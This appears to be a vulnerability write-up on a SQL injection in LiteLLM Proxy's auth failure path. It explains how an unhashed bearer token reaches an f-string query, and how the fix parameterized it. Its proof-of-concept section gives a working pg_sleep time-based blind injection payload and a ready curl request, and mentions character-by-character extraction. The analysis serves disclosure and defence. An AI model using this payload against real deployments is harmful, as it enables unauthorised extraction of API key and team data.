//nefariousplan

CVE-2026-42208: hashed_token Was a Parameter Name. The Function Trusted the Name.

pattern

cve

proof of concept

LiteLLM's vulnerable function computed the hash. On line 2970 of litellm/proxy/utils.py, get_data calls _hash_token_if_needed(token=token) and assigns the result to a local named hashed_token. On line 3018, the same function builds the SQL query that took the injection: WHERE v.token = '{token}'.

The interpolation reads {token}, the raw caller-supplied input. Not {hashed_token}, the local that had been computed eight lines earlier in the same branch.

The success path hashes. The failure path does not.

A request lands at LiteLLM Proxy with Authorization: Bearer <token>. user_api_key_auth in litellm/proxy/auth/user_api_key_auth.py extracts the value, falls into the cache miss branch, and reaches the gate that decides whether the value is allowed to touch the database at all:

if isinstance(api_key, str):
    _masked_key = (
        "{}****{}".format(api_key[:4], api_key[-4:])
        if len(api_key) > 8
        else "****"
    )
    assert api_key.startswith(
        "sk-"
    ), "LiteLLM Virtual Key expected. Received={}, expected to start with 'sk-'.".format(
        _masked_key
    )  # prevent token hashes from being used
abbreviated_api_key = abbreviate_api_key(api_key=api_key)
if api_key.startswith("sk-"):
    api_key = hash_token(token=api_key)

try:
    with tracer.trace("litellm.proxy.auth.get_key_object_from_db"):
        valid_token = await get_key_object(
            hashed_token=api_key,
            ...
        )

Two statements in order. The assert rejects anything that does not start with sk-. The next conditional hashes anything that does. By the time get_key_object is called, api_key is a 64-character SHA-256 hex string. Every call into the database from this path arrives as [0-9a-f]{64}. The f-string interpolation downstream is safe because the value reaching it has been narrowed to hex.

The comment on the assert is # prevent token hashes from being used. The author knew that the value reaching get_key_object had to be normalised before any database lookup. The mechanism they chose to enforce that was an assert statement.

AssertionError is an exception. Exceptions go to handlers.

The exception is the bypass

The whole user_api_key_auth body is wrapped in try. The except clause does this:

except Exception as e:
    return await UserAPIKeyAuthExceptionHandler._handle_authentication_error(
        e=e,
        request=request,
        request_data=request_data,
        route=route,
        parent_otel_span=parent_otel_span,
        api_key=api_key,
    )

api_key here is the raw value from the request header. It was not hashed, because the line that hashes it sits below the assert that rejected it. The handler in litellm/proxy/auth/auth_exception_handler.py does this:

user_api_key_dict = UserAPIKeyAuth(
    parent_otel_span=parent_otel_span,
    api_key=api_key,
    request_route=route,
)
# Allow callbacks to transform the error response
transformed_exception = await proxy_logging_obj.post_call_failure_hook(
    request_data=request_data,
    original_exception=e,
    user_api_key_dict=user_api_key_dict,
    error_type=ProxyErrorTypes.auth_error,
    route=route,
)

The raw token gets wrapped into a UserAPIKeyAuth object and handed to post_call_failure_hook. That function iterates litellm.callbacks and calls async_post_call_failure_hook on each registered logger. Per the public PoC by imjdl, one of those callbacks reaches a metadata enricher that calls get_key_object(hashed_token=user_api_key_dict.api_key) to attach key context to the failure log it is about to write. The parameter is named hashed_token. The value being passed is the raw header value the assertion rejected forty lines ago.

get_key_object does no validation that the value it received is hashed. It calls _fetch_key_object_from_db_with_reconnect, which calls prisma_client.get_data(token=hashed_token, table_name="combined_view", ...). The token reaches get_data under the parameter name token. The function dispatches on table_name and lands in the combined_view branch.

The function knew how to hash. It hashed for the wrong query.

Inside the combined_view branch in get_data, before the SQL is built:

elif table_name == "combined_view":
    # check if plain text or hash
    if token is not None:
        if isinstance(token, str):
            hashed_token = _hash_token_if_needed(token=token)
            verbose_proxy_logger.debug(
                f"PrismaClient: find_unique for token: {hashed_token}"
            )

The function computes hashed_token. The helper does this:

def _hash_token_if_needed(token: str) -> str:
    """
    Hash the token if it's a string and starts with "sk-"

    Else return the token as is
    """
    if token.startswith("sk-"):
        return hash_token(token=token)
    else:
        return token

The helper is a one-way pass-through for anything that is not sk--prefixed. The attacker's payload starts with '. The helper returns it unchanged. hashed_token now equals the raw payload, which is fine on its own; the question is what the function does with the variable.

Eight lines later:

sql_query = f"""
    SELECT
        v.*,
        ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
    LEFT JOIN "LiteLLM_TeamMembership" AS tm ON v.team_id = tm.team_id AND tm.user_id = v.user_id
    LEFT JOIN "LiteLLM_ModelTable" m ON t.model_id = m.id
    LEFT JOIN "LiteLLM_BudgetTable" AS b ON v.budget_id = b.budget_id
    LEFT JOIN "LiteLLM_ProjectTable" AS p ON v.project_id = p.project_id
    LEFT JOIN "LiteLLM_OrganizationTable" AS o ON v.organization_id = o.organization_id
    LEFT JOIN "LiteLLM_BudgetTable" AS b2 ON o.budget_id = b2.budget_id
    WHERE v.token = '{token}'
"""

response = await self._query_first_with_cached_plan_fallback(
    sql_query
)

{token} is the raw parameter. {hashed_token} is the local that was just computed. The interpolation uses the raw one. The local is not used in the primary lookup at all.

It is used in the fallback lookup. Twelve lines below the _query_first_with_cached_plan_fallback call:

if (
    response is None
    and hashed_token is not None
    and check_deprecated
):
    active_token_id = await _lookup_deprecated_key(
        db=self.db, hashed_token=hashed_token
    )

When the primary query returns nothing, the function asks _lookup_deprecated_key to check the grace-period table for previously-rotated keys. That helper takes a parameter named hashed_token and the function hands it the local. hashed_token is the right shape for that call.

hashed_token is also the right shape for the call ten lines above it.

The function knew. The function computed the value. The function used it for the secondary lookup. The function did not use it for the primary lookup. The hash that made the primary query safe was a single substitution away in the same scope.

The PoC is one curl. The wrapper is twenty lines of Python.

imjdl/CVE-2026-42208_lab ships a docker-compose with litellm/litellm:main-v1.83.3-stable and Postgres, a config that registers a fake model, and a script that confirms the bug with a time delay. The payload is one line:

def make_payload(delay: int) -> str:
    """pg_sleep returns void, wrap in subquery to avoid boolean type error."""
    return f"' OR (SELECT 1 FROM (SELECT pg_sleep({delay})) t) IS NOT NULL--"

PostgreSQL's pg_sleep() returns void, which is not boolean, which is why the unwrapped ' OR pg_sleep(5)-- fails type-checking. The subquery wrap converts a void-returning function into a row-returning derived table, and IS NOT NULL is the boolean predicate the OR needs. The -- comments out the trailing ' from the f-string so the SQL still parses.

The request itself is a POST /chat/completions with the payload as the bearer token:

curl -X POST http://target:4000/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--" \
  -H "Content-Type: application/json" \
  -d '{"model":"gpt-3.5-turbo","messages":[{"role":"user","content":"test"}],"max_tokens":1}'

The auth path runs. assert api_key.startswith("sk-") fails on '. The handler runs. The failure callback runs. get_key_object(hashed_token="' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--") runs. get_data builds:

WHERE v.token = '' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--'

The query takes five seconds. The 401 response takes five seconds. The PoC measures the difference against a baseline and prints [+] VULNERABLE!. From there, every standard time-based blind technique, character-by-character extraction over WHERE substring(...) = 'X', applies. The combined_view selects every column on LiteLLM_VerificationToken, joined with team and organization tables. The columns include token (the hashed value), key_alias, models, spend, metadata, team_id. Sysdig's threat intelligence team observed in-the-wild exploitation within thirty-six hours of the GHSA going public.

The PoC hits /chat/completions. The same chain runs on /embeddings, /image/generation, and any other route that goes through user_api_key_auth followed by failure-hook propagation. The header value is the only attacker-controlled input.

hashed_token was a parameter name

This is the name-is-the-only-type shape. A function parameter whose name implies a constraint on the value (a 64-character SHA-256 hex string), accepted by a function that does no runtime check that the constraint holds. The success-path caller honours the convention by hashing on its own line before the call. The failure-path caller does not. The compiler does not catch the difference because Python types are nominal at most and parameter names carry no enforcement at all. The only thing connecting the value at the receiving end to the type implied by hashed_token is the discipline of the caller.

We covered the same shape last week in Mattermost's fileId, where a map[string]interface{} field with a name that implied an ID was read as a path by a duplicate endpoint. The Go and Python differences are surface; the structural fault is identical. A field or parameter whose name encodes a contract (an ID, a path, a hash, a hex string) is read by code that trusts the name. As soon as one caller bypasses the convention, every consumer that read the name as a type is now reading attacker input where it expected normalised server-side data.

LiteLLM's catalog of callers into get_key_object is short. The success path in user_api_key_auth is one. The deprecated-key fallback inside get_data itself is another. The failure-hook enricher is the third. Two of the three honour the contract. One does not. The function trusts the name.

The patch parameterized one query

The fix landed in commit 4dc416ee74, "fix(proxy): use parameterized query for combined_view token lookup". The diff is five lines added, five lines removed, in one file:

- WHERE v.token = '{token}'
+ WHERE v.token = $1

  response = await self._query_first_with_cached_plan_fallback(
-     sql_query
+     sql_query, hashed_token
  )

_query_first_with_cached_plan_fallback was extended to take *args and forward them to self.db.query_first(sql_query, *args). The query string lost its f-string interpolation and became a positional $1. The bind value passed in is hashed_token, the local that was already defined in scope.

The patch did not add the hash. The hash had been computed since whatever commit first added _hash_token_if_needed to the combined_view branch. The patch did not add a validation step inside get_key_object. The parameter named hashed_token still does not check that the value is hashed. The patch did one thing: it switched the primary lookup from f-string interpolation to a parameterized bind, and it picked the bind value that was already sitting in the function. Once the bind happens at the database driver, attacker input cannot rewrite the query regardless of whether the local is hashed or not.

The other paths into get_data are unchanged. The combined_view find_unique branch is the one that was on the failure callback chain and the one the PoC reaches. The other branches in the same function take inputs from authenticated admin codepaths and have not been observed in public exploitation. The patch is targeted. The pattern in the function is not.

Sysdig measured it in hours

GHSA-r75f-5x8p-qvmc published on October 28, 2025. The CVE assignment came later. Sysdig TRT's threat intelligence report describes exploitation observed in honeypots within thirty-six hours of the advisory becoming public. The PoC repository imjdl/CVE-2026-42208_lab shipped a working exploit in a docker-compose lab the same week. The advisory's affected range is litellm >=1.81.16, <1.83.7; the BerriAI image catalogue carries dozens of pinned tags inside that range, and operators who pin to a specific stable image rather than latest were vulnerable until the upgrade.

The window from advisory to in-wild was thirty-six hours. The window from "the helper that hashes was added to the function" to "the f-string interpolation of the unhashed input was removed" was the lifetime of the f-string. We do not know exactly how long that was, but git history on the combined_view branch in get_data shows the helper call has been there since the function was last refactored. The fix uses a variable that was always available.

PoC: imjdl/CVE-2026-42208_lab

The patch did not add the hash. The patch finally used it.